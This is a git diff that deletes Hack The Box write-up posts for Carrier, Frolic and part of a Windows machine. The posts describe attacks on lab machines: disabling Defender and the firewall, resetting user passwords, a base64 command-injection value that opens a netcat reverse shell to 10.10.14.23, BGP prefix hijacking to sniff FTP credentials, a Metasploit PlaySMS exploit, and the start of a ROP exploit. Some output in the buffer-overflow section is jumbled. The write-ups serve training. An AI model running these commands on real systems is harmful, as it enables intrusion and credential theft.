-[...]
-Attributes : Archive, Encrypted
-```
-
-Same thing for the root.txt file in `c:\users\rupal\desktop\root.txt`
-
-I found some cert and private key files on the D: drive
-
-```
-PS D:\certs> dir
-
-
- Directory: D:\certs
-
-
-Mode LastWriteTime Length Name
----- ------------- ------ ----
--a---- 7/1/2018 10:26 PM 772 MyCA.cer
--a---- 7/1/2018 10:26 PM 1196 MyCA.pvk
-```
-
-I thought of googling for ways to recover EFS encrypted files but instead I just YOLOed it:
-
-Attack plan:
-
-- Disable Windows Defender
-- Disable Firewall
-- Change Rupal and Jorge's passwords
-- RDP in and steal their shit
-
-```
-PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
-
-PS C:\> NetSh Advfirewall set allprofiles state off
-Ok.
-
-PS C:\> net users rupal Yoloed1234!
-net users rupal Yoloed1234!
-The command completed successfully.
-
-PS C:\> net users jorge Yoloed1234!
-net users jorge Yoloed1234!
-The command completed successfully.
-```
-
-Sweet, RDP is already running, no need to enable it:
-
-```
-PS C:\> netstat -an
-netstat -an
-
-Active Connections
-
- Proto Local Address Foreign Address State
- TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
- TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
- TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
- TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
- TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
-```
-
-At last, we can RDP and get the flags!!
-
-
-
-
\ No newline at end of file
diff --git a/_posts/2019-03-16-htb-writeup-carrier.md b/_posts/2019-03-16-htb-writeup-carrier.md
deleted file mode 100644
index f9309e6ac6..0000000000
--- a/_posts/2019-03-16-htb-writeup-carrier.md
+++ /dev/null
@@ -1,360 +0,0 @@
----
-layout: single
-title: Carrier - Hack The Box
-excerpt: This is the writeup for Carrier, a Linux machine I created for Hack the Box requiring some networking knowledge to perform MITM with BGP prefix hijacking.
-date: 2019-03-16
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-carrier/carrier_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - networking
- - lxc
- - containers
- - bgp
- - command injection
- - php
- - snmp
- - mitm
----
-
-
-
-I had the idea for creating Carrier after competing at the [NorthSec CTF](https://nsec.io/competition/) last year where there was a networking track that required the players to gain access to various routers in the network. I thought of re-using the same concept but add a MITM twist to it with BGP prefix hijacking. My initial version was much more complex and had DNS response poisoning in it. I eventually scaled it down because one part required using Scapy to craft packets from one of the container and I wasn't sure if it'd work reliably with hundreds of people on the EU-Free server. I also didn't want to lock people into using a specific tool or library from the container so I scrapped that part of Carrier.
-
-I tried to make the box somewhat realistic. It simulates some kind of network management & ticketing system written in PHP. There is an online PDF manual that contains the description of some of the error codes displayed on the main page. Like many network devices, it contains a default SNMP community string `public` that allow users to query MIBs from the device, including the serial number used to log into the system. From there, there's a trivial command injection that allow access to one of the ISP router.
-
-For the priv esc, I wanted to do something different so I used LXC containers to run 3 different routers, each simulating a different ISP with its own autonomous system number. Normally, ISPs should have policies in place to restrict what routes can be sent from a neighboring ISP. In this case, no such policies are configured and we can inject any route we want from AS100 where we have a foothold. To get the root flag, we need to sniff the FTP credentials of a user connecting to a remote server in AS300. I put a hint for the server IP in the ticket section of the website so people would have an idea what to do.
-
-The "intended solution" for this box was to inject a better route in the BGP table to redirect traffic through the R1 router where we could run a tcpdump capture and get the credentials. There's a couple of ways to do that but injecting a more specific route is probably the simplest solution. We can't just inject the more specific route and intercept the traffic because that same route is re-advertised from AS200 to AS300 and the later will insert the more specific route in its RIB. Even though AS300 is directly connect to 10.120.15.10, it won't use the /24 from the local interface but instead prefer the more specific route coming from AS200 and cause the packets to loop between the two routers.
-
-The BGP routing protocol defines various "well-known" community attributes that must be supported by a BGP implementation. In this case, what we want to do is tell AS200 to send traffic to us but also tell it *not* to re-advertise the more specific route down to AS300. [RFC1997](https://tools.ietf.org/html/rfc1997) defines some of the standard attributes such as:
-
-```
-NO_EXPORT (0xFFFFFF01)
- All routes received carrying a communities attribute
- containing this value MUST NOT be advertised outside a BGP
- confederation boundary (a stand-alone autonomous system that
- is not part of a confederation should be considered a
- confederation itself).
-```
-
-Using a route-map in the quagga's Cisco-like CLI (vtysh), we can "tag" the routes sent to AS200 with the `no-export` policy and prevent the upstream router from re-advertising the route elsewhere. We also need to filter out that same route towards AS300 because we don't want AS300 to insert the /25 route in its RIB.
-
-I think most people solved the box the easy way (nothing wrong with that) by changing the IP address of one of the interface on the R1 container and impersonate the FTP server to catch the connection from the FTP client and get the credentials. That further reinforces the point that not only is crypto important but verifying the identity of the server also is. Using only BGP route manipulation, it is possible to intercept the FTP session without changing any IP on the container.
-
-## Quick summary
-
-- The `/doc` directory on the webserver has indexing enabled and contains documentation for the error codes on the login page
-- SNMP is configuration with the default `public` community string that allow us to retrieve the serial number of the box
-- One of the error code on the main page indicates that the password hasn't been changed and that the serial number should be used to log in
-- There's a hint on the ticket section of the webpage about an important server that we should get access to
-- The diagnostic section of the web page contains a command injection vulnerability that we can use to gain RCE
-- From the R1 router (container), we can perform a MITM attack by injecting a more specific route in the BGP table
-- We then intercept an FTP session and recover the credentials that let us log in as root and recover `root.txt`
-
-## Detailed steps
-
-### Portscan
-
-We'll start by the standard nmap and find that there's only two ports open on the server.
-
-```
-root@violentunicorn:~# nmap -sC -sV -p- 10.10.10.105
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-12 01:46 EDT
-Nmap scan report for 10.10.10.105
-Host is up (0.010s latency).
-Not shown: 65532 closed ports
-PORT STATE SERVICE VERSION
-21/tcp filtered ftp
-22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
-| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
-|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
-80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
-| http-cookie-flags:
-| /:
-| PHPSESSID:
-|_ httponly flag not set
-|_http-server-header: Apache/2.4.18 (Ubuntu)
-|_http-title: Login
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 19.09 seconds
-```
-
-### Web enumeration
-
-There's a login page for some web application (this is a monitoring/ticketing system for a fictitious ISP).
-
-There are no default credentials or SQLi on this page.
-
-The error codes are interesting but we don't know what they are yet (more on that later).
-
-
-
-Using gobuster, we find a couple of directories:
-
-```
-root@ragingunicorn:~# gobuster -w /usr/share/dirb/wordlists/small.txt -t 10 -u 10.10.10.105
-
-=====================================================
-Gobuster v2.0.0 OJ Reeves (@TheColonial)
-=====================================================
-[+] Mode : dir
-[+] Url/Domain : http://10.10.10.105/
-[+] Threads : 10
-[+] Wordlist : /usr/share/dirb/wordlists/small.txt
-[+] Status codes : 200,204,301,302,307,403
-[+] Timeout : 10s
-=====================================================
-2019/03/12 01:47:12 Starting gobuster
-=====================================================
-/css (Status: 301)
-/debug (Status: 301)
-/doc (Status: 301)
-/img (Status: 301)
-/js (Status: 301)
-/tools (Status: 301)
-=====================================================
-2019/03/12 01:47:13 Finished
-=====================================================
-```
-
-The `/debug` directory is just a link to phpinfo()
-
-There's a `/tools` directorry that contains a `remote.php` file but it doesn't do anything because the license is expired:
-
-
-
-Inside the `/doc` directory there are two files:
-
-
-
-The `diagram_for_tac.png` file contains a network diagram showing 3 different BGP autonomous systems (the initial foothold is in AS100).
-
-
-
-The `error_code.pdf` file contains a list of error codes:
-
-
-
-If we cross reference the two codes from the main login page:
- - We see that the license is now invalid/expired
- - The default `admin` account uses the serial number of the device (which we don't have yet)
-
-### SNMP enumeration
-
-By querying the box with the default `public` SNMP community string, we can find the serial number of the device. This type of information is often found in SNMP mibs on network devices.
-
-```
-root@violentunicorn:~# snmp-check 10.10.10.105
-snmp-check v1.9 - SNMP enumerator
-Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
-
-[+] Try to connect to 10.10.10.105:161 using SNMPv1 and community 'public'
-
-[*] System information:
-
- Host IP address : 10.10.10.105
- Hostname : -
- Description : -
- Contact : -
- Location : -
- Uptime snmp : -
- Uptime system : -
- System date : -
-
-root@violentunicorn:~# snmpwalk -v1 -c public 10.10.10.105
-iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
-End of MIB
-```
-The serial number is: `NET_45JDX23`
-
-We can now log in to the website using username `admin` and password `NET_45JDX23`.
-
-### Dashboard
-
-The main dashboard page indicates that the system is in read-only mode since the license is expired.
-
-It also indicates that the router config will be reverted every 10 minutes (this is done on purpose to make sure we don't lose access to the box if someone messes up the router configuration).
-
-
-
-### Tickets
-
-The tickets section contains a hint about what we need to do once we get access to the router (more on that in the next section)
-
-
-
-Ticket #6 contains the hint:
-
-> ... one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network
-
-So it seems that there's something important on the 10.120.15.0/24 network. The ticket indicates the user is using the unencrypted FTP protocol so we'll be able to sniff the credentials if we can redirect traffic through the router.
-
-### Diagnostics command injection
-
-Based on the output we see when we click on the `Verify status` button, we can see that it's running `ps` grepped with `quagga`. It's actually running the command on the `r1` router since the `web` server builds an ssh connection to `r1` first then runs the command there.
-
-
-
-The HTML on the diagnostics page contains a base64 encoded value in the `check` field:
-
-
-
-The hidden field `cXVhZ2dh` base64 decodes to `quagga`. We can control the grep parameter by modifying the `check` parameter in the HTTP POST request and gain code execution.
-
-For `check`, we will use the `; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f` value encoded in base64:
-
-
-
-We then get a reverse shell using netcat:
-
-```
-root@violentunicorn:~# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.105] 48918
-/bin/sh: 0: can't access tty; job control turned off
-# python3 -c 'import pty;pty.spawn("/bin/bash")'
-root@r1:~# id
-id
-uid=0(root) gid=0(root) groups=0(root)
-root@r1:~# ls
-ls
-test_intercept.pcap user.txt
-root@r1:~# cat user.txt
-cat user.txt
-5649c4...
-```
-
-### BGP hijacking
-
-So, there's a user on AS200 connecting to a server on the 10.120.15.0/24 network (the server is 10.120.15.10, which is the IP address of the lxdbr1 interface on the host OS). We can't initially see his traffic because the traffic is sent directly from AS200 to AS300 (we are on AS100).
-
-
-
-The idea is to inject a more specific routes for the 10.120.15.0/24 network so the `r2` router will send traffic to us at `r1`. Then once we get the traffic we'll send it back out towards `r3` because we already have a BGP route from `r3` for the 10.120.15.0/24 network
-
-There's a small twist to this: when we send the more specific route (we can use a /25 or anything smaller than a /24), we must ensure that this route is not sent from `r2` to `r3` otherwise `r3` will blackhole traffic towards the router since it received a more specific route. To do this, we can add the `no-export` BGP community to the route sent to `r2`, so the route won't be re-advertised to other systems.
-
-We can see below that the best route for the `10.120.15.0/24` network is from AS 300 (10.78.11.2):
-
-```
-root@r1:~# vtysh
-
-Hello, this is Quagga (version 0.99.24.1).
-Copyright 1996-2005 Kunihiro Ishiguro, et al.
-
-r1# show ip bgp summ
-show ip bgp summ
-BGP router identifier 10.255.255.1, local AS number 100
-RIB entries 53, using 5936 bytes of memory
-Peers 2, using 9136 bytes of memory
-
-Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd
-10.78.10.2 4 200 4 7 0 0 0 00:00:14 22
-10.78.11.2 4 300 4 10 0 0 0 00:00:11 22
-
-Total number of neighbors 2
-
-r1# show ip bgp 10.120.15.0/24
-show ip bgp 10.120.15.0/24
-BGP routing table entry for 10.120.15.0/24
-Paths: (2 available, best #1, table Default-IP-Routing-Table)
- Advertised to non peer-group peers:
- 10.78.10.2
- 300
- 10.78.11.2 from 10.78.11.2 (10.255.255.3)
- Origin IGP, metric 0, localpref 100, valid, external, best
- Last update: Tue Jul 3 03:40:17 2018
-
- 200 300
- 10.78.10.2 from 10.78.10.2 (10.255.255.2)
- Origin IGP, localpref 100, valid, external
- Last update: Tue Jul 3 03:40:14 2018
-```
-
-We'll change the route-map to add `no-export` to routes sent to AS200, then advertise the `10.120.15.0/25` network:
-
-```
-r1# conf t
-r1(config)# ip prefix-list leak permit 10.120.15.0/25
-r1(config)# !
-r1(config)# route-map to-as200 permit 10
-r1(config-route-map)# match ip address prefix-list leak
-r1(config-route-map)# set community no-export
-r1(config-route-map)# !
-r1(config-route-map)# route-map to-as200 permit 20
-r1(config-route-map)# !
-r1(config-route-map)# route-map to-as300 deny 10
-r1(config-route-map)# match ip address prefix-list leak
-r1(config-route-map)# !
-r1(config-route-map)# route-map to-as300 permit 20
-r1(config-route-map)# !
-r1(config-route-map)# router bgp 100
-r1(config-router)# network 10.120.15.0 mask 255.255.255.128
-r1(config-router)# end
-r1#
-```
-
-After changing the route-map, we can issue a `clear ip bgp * out` to refresh the outbound filter policies without resetting the entire BGP adjacency. We can see now that we are sending the /25 route towards AS200:
-
-```
-r1# show ip bgp nei 10.78.10.2 advertised-routes
-BGP table version is 0, local router ID is 10.255.255.1
-Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
- i internal, r RIB-failure, S Stale, R Removed
-Origin codes: i - IGP, e - EGP, ? - incomplete
-
- Network Next Hop Metric LocPrf Weight Path
-*> 10.120.15.0/25 10.78.10.1 0 32768 i
-```
-
-### Packet capture FTP session to the server 10.120.15.10
-
-Since we have now injected a more specific route for the `10.120.15.0/24` network, AS200 will send traffic to us (AS100) when trying to reach `10.120.15.10`. Then `r1` will send the traffic back out `eth2` towards AS300.
-
-We can sniff the traffic using tcpdump and we see that a user logs in to 10.120.15.10 using FTP, and we can see his credentials:
-
-```
-root@r1:~# tcpdump -vv -s0 -ni eth2 -c 10 port 21
-tcpdump: listening on eth2, link-type EN10MB (Ethernet), capture size 262144 bytes
-[...]
-13:53:01.528076 IP (tos 0x10, ttl 63, id 11657, offset 0, flags [DF], proto TCP (6), length 63)
- 10.78.10.2.50692 > 10.120.15.10.21: Flags [P.], cksum 0x2e03 (incorrect -> 0x75af), seq 1:12
- USER root
-[...]
-13:53:01.528248 IP (tos 0x10, ttl 63, id 11658, offset 0, flags [DF], proto TCP (6), length 74)
- 10.78.10.2.50692 > 10.120.15.10.21: Flags [P.], cksum 0x2e0e (incorrect -> 0xa290), seq 12:34
- PASS BGPtelc0rout1ng
-```
-
-### Logging to the server with root credentials and getting the system flag
-
-Note: We can log in directly from the HTB network to the box IP with the FTP credentials, but in this example we'll log in from `r1`. We have to first enable an interactive pty so we can SSH.
-
-```
-# python3 -c 'import pty;pty.spawn("/bin/bash")'
-root@r1:~# ssh root@10.120.15.10
-root@10.120.15.10's password: BGPtelc0rout1ng
-
-Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)
-
- * Documentation: https://help.ubuntu.com
- * Management: https://landscape.canonical.com
- * Support: https://ubuntu.com/advantage
-[...]
-
-root@carrier:~# ls
-ls
-root.txt secretdata.txt
-root@carrier:~# cat root.txt
-
-cat root.txt
-2832e...
-```
diff --git a/_posts/2019-03-23-htb-writeup-frolic.md b/_posts/2019-03-23-htb-writeup-frolic.md
deleted file mode 100644
index d766345d54..0000000000
--- a/_posts/2019-03-23-htb-writeup-frolic.md
+++ /dev/null
@@ -1,428 +0,0 @@
----
-layout: single
-title: Frolic - Hack The Box
-excerpt: This is the writeup for Frolic, a CTF-like machine with esoteric programming languages and a nice priv esc that requires binary exploitation.
-date: 2019-03-23
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-frolic/frolic_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - metasploit
- - esoteric language
- - ctf
- - rop
- - buffer overflow
- - binary exploitation
----
-
-
-
-Frolic had a pretty straightforward user access part where after minimal enumeration we could find the password for the PlaySMS application obfuscated a couple of times with some esoteric languages and other things. The PlaySMS application which we could access with the password was directly exploitable from Metasploit without any effort.
-
-The priv esc had a buffer overflow in a SUID binary that we had to exploit using a ROP gadget from the libc library. I discovered the very cool [one_gadget](https://github.com/david942j/one_gadget) tool while doing this box.
-
-## Quick summary
-
-- PlaySMS is installed and vulnerable to a bug which we can exploit with Metasploit (needs to be authenticated)
-- The credentials for PlaySMS are found in an encrypted zip file, which is encoded in Brainfuck, obfuscated in some random directory, then further obfuscated with Ook esoteric programming language
-- The priv esc is a SUID binary which we can ROP with one_gadget (ASLR is disabled)
-
-### Tools used
-
-- [OOK! Language decoder](https://www.dcode.fr/ook-language)
-- [Brainfuck Language decoder](https://www.dcode.fr/brainfuck-language)
-- [one_gadget](https://github.com/david942j/one_gadget)
-
-### Nmap
-
-The enumeration shows Node-RED, an Nginx server on a non-standard port, Samba and SSH.
-
-```
-# Nmap 7.70 scan initiated Sat Oct 13 15:01:02 2018 as: nmap -p- -sC -sV -oA frolic 10.10.10.111
-Nmap scan report for frolic.htb (10.10.10.111)
-Host is up (0.018s latency).
-Not shown: 65530 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
-| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
-|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
-139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
-445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
-1880/tcp open http Node.js (Express middleware)
-|_http-title: Node-RED
-9999/tcp open http nginx 1.10.3 (Ubuntu)
-|_http-server-header: nginx/1.10.3 (Ubuntu)
-|_http-title: Welcome to nginx!
-Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
-Host script results:
-|_clock-skew: mean: -1h55m33s, deviation: 3h10m31s, median: -5m33s
-|_nbstat: NetBIOS name: FROLIC, NetBIOS user: , NetBIOS MAC: (unknown)
-| smb-os-discovery:
-| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
-| Computer name: frolic
-| NetBIOS computer name: FROLIC\x00
-| Domain name: \x00
-| FQDN: frolic
-|_ System time: 2018-10-14T00:26:00+05:30
-| smb-security-mode:
-| account_used: guest
-| authentication_level: user
-| challenge_response: supported
-|_ message_signing: disabled (dangerous, but default)
-| smb2-security-mode:
-| 2.02:
-|_ Message signing enabled but not required
-| smb2-time:
-| date: 2018-10-13 14:56:00
-|_ start_date: N/A
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-# Nmap done at Sat Oct 13 15:01:34 2018 -- 1 IP address (1 host up) scanned in 32.59 seconds
-```
-
-### Node-RED
-
-There's a Node-RED server running on port 1880 but when we try to log in with the `admin / password` credentials it just hangs and times out.
-
-
-
-### Nginx webserver
-
-The default nginx page is shown.
-
-
-
-Next, we'll dirbust the site.
-
-```
-root@ragingunicorn:~# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://frolic.htb:9999
-
-=====================================================
-Gobuster v2.0.0 OJ Reeves (@TheColonial)
-=====================================================
-[+] Mode : dir
-[+] Url/Domain : http://frolic.htb:9999/
-[+] Threads : 50
-[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/big.txt
-[+] Status codes : 200,204,301,302,307,403
-[+] Timeout : 10s
-=====================================================
-2018/10/13 15:03:06 Starting gobuster
-=====================================================
-/.htpasswd (Status: 403)
-/.htaccess (Status: 403)
-/admin (Status: 301)
-/backup (Status: 301)
-/dev (Status: 301)
-/loop (Status: 301)
-/test (Status: 301)
-=====================================================
-2018/10/13 15:03:19 Finished
-=====================================================
-```
-
-The `/admin` link contains a login form:
-
-
-
-All the authentication is done client-side with javascript code. Looking at the source code we can see the password: `superduperlooperpassword_lol`
-
-```js
-var attempt = 3; // Variable to count number of attempts.
-// Below function Executes on click of login button.
-function validate(){
-var username = document.getElementById("username").value;
-var password = document.getElementById("password").value;
-if ( username == "admin" && password == "superduperlooperpassword_lol"){
-alert ("Login successfully");
-window.location = "success.html"; // Redirecting to other page.
-return false;
-}
-else{
-attempt --;// Decrementing by one.
-alert("You have left "+attempt+" attempt;");
-// Disabling fields after 3 attempts.
-if( attempt == 0){
-document.getElementById("username").disabled = true;
-document.getElementById("password").disabled = true;
-document.getElementById("submit").disabled = true;
-return false;
-}
-}
-}
-```
-
-We don't even need to log in, we can browse to `success.html` directly.
-
-
-
-The page contains some kind of ciphertext:
-
-```
-..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?.
-```
-
-This is actually an esoteric programming language: [Ook!](https://esolangs.org/wiki/ook!)
-
-We can use [dcode.fr](https://www.dcode.fr/ook-language) to find the plaintext.
-
-```
-Nothing here check /asdiSIAJJ0QWE9JAS
-```
-
-This contains yet another encoded blob of text:
-
-
-
-```
-UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA
-```
-
-When we base64 decode it, we see the PKZIP magic bytes `PK`.
-
-```
-root@ragingunicorn:~/frolic# base64 -d stuff.b64
-PK É7M#[i index.phpUT |[|[ux
- ^DJsh)
-root@ragingunicorn:~/frolic# base64 -d stuff.b64 > stuff.zip
-```
-
-The zip file is encrypted, after the first guess I found the password is `password`:
-
-```
-root@ragingunicorn:~/frolic# unzip stuff.zip
-Archive: stuff.zip
-[stuff.zip] index.php password:
- inflating: index.php
-```
-
-More encoded text...
-
-```
-root@ragingunicorn:~/frolic# cat index.php
-4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
-```
-
-
-
-The following is the Brainfuck esoteric programming language:
-
-```
-+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
-++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
-<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
-++..<
-```
-
-Again, we use [dcode.fr](https://www.dcode.fr/brainfuck-language) to find the plaintext:
-
-```
-idkwhatispass
-```
-
-### PlaySMS and shell access
-
-The `http://frolic.htb:9999/dev/backup/` link contains a reference to `/playsms`
-
-The playSMS application seems to be installed on the server:
-
-
-
-We can log in using `admin` / `idkwhatispass`.
-
-
-
-We have two potential vulnerabilities we can use with Metasploit:
-
-```
-root@ragingunicorn:~/frolic# searchsploit playsms
-PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) | exploits/php/remote/44598.rb
-PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | exploits/php/webapps/42003.txt
-PlaySMS 1.4 - 'import.php' Remote Code Execution | exploits/php/webapps/42044.txt
-PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit) | exploits/php/remote/44599.rb
-```
-
-We can use the `playsms_uploadcsv_exec` module to get a shell:
-
-```
-msf exploit(multi/http/playsms_uploadcsv_exec) > show options
-
-Module options (exploit/multi/http/playsms_uploadcsv_exec):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- PASSWORD idkwhatispass yes Password to authenticate with
- Proxies no A proxy chain of format type:host:port[,type:host:port][...]
- RHOST 10.10.10.111 yes The target address
- RPORT 9999 yes The target port (TCP)
- SSL false no Negotiate SSL/TLS for outgoing connections
- TARGETURI /playsms yes Base playsms directory path
- USERNAME admin yes Username to authenticate with
- VHOST no HTTP server virtual host
-
-
-Payload options (php/meterpreter/reverse_tcp):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST 10.10.14.23 yes The listen address (an interface may be specified)
- LPORT 4444 yes The listen port
-
-
-Exploit target:
-
- Id Name
- -- ----
- 0 PlaySMS 1.4
-```
-
-```
-msf exploit(multi/http/playsms_uploadcsv_exec) > run
-
-[*] Started reverse TCP handler on 10.10.14.23:4444
-[+] Authentication successful: admin:idkwhatispass
-[*] Sending stage (37775 bytes) to 10.10.10.111
-[*] Meterpreter session 3 opened (10.10.14.23:4444 -> 10.10.10.111:52952) at 2018-10-13 17:12:46 -0400
-
-meterpreter > shell
-Process 1785 created.
-Channel 0 created.
-whoami
-www-data
-```
-
-Found user flag:
-
-```
-cd /home
-ls -l
-total 8
-drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ayush
-drwxr-xr-x 7 sahay sahay 4096 Sep 25 02:45 sahay
-cd ayush
-cat user.txt
-2ab959...
-```
-
-### Priv esc
-
-Found our priv esc vector here: **/home/ayush/.binary/rop**
-
-```
-www-data@frolic:~$ find / -perm /4000 2>/dev/null
-find / -perm /4000 2>/dev/null
-/sbin/mount.cifs
-/bin/mount
-/bin/ping6
-/bin/fusermount
-/bin/ping
-/bin/umount
-/bin/su
-/bin/ntfs-3g
-/home/ayush/.binary/rop
-```
-
-There's obviously a buffer overflow in the binary, as shown below:
-
-
-```
-www-data@frolic:~$ /home/ayush/.binary/rop
-/home/ayush/.binary/rop
-[*] Usage: program
-www-data@frolic:~$ /home/ayush/.binary/rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- libc
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.111] 59480
-root@ragingunicorn:~/frolic# one_gadget -f libc rop
-0x3ac5c execve("/bin/sh", esp+0x28, environ)
-constraints:
- esi is the GOT address of libc
- [esp+0x28] == NULL
-```
-
-We found a gadget at `0x3ac5c` that'll give us a nice shell!
-
-We also need libc's base address (which doesn't change since ASLR is disabled):
-
-```
-www-data@frolic:/home/ayush$ ldd /home/ayush/.binary/rop
-ldd /home/ayush/.binary/rop
- linux-gate.so.1 => (0xb7fda000)
- libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
- /lib/ld-linux.so.2 (0xb7fdb000)
-```
-
-Base address is : `0xb7e19000`
-
-To construct the final exploit, we write a simple script that'll squash the $RIP register with the memory address of the gadget that spawns `/bin/sh`:
-
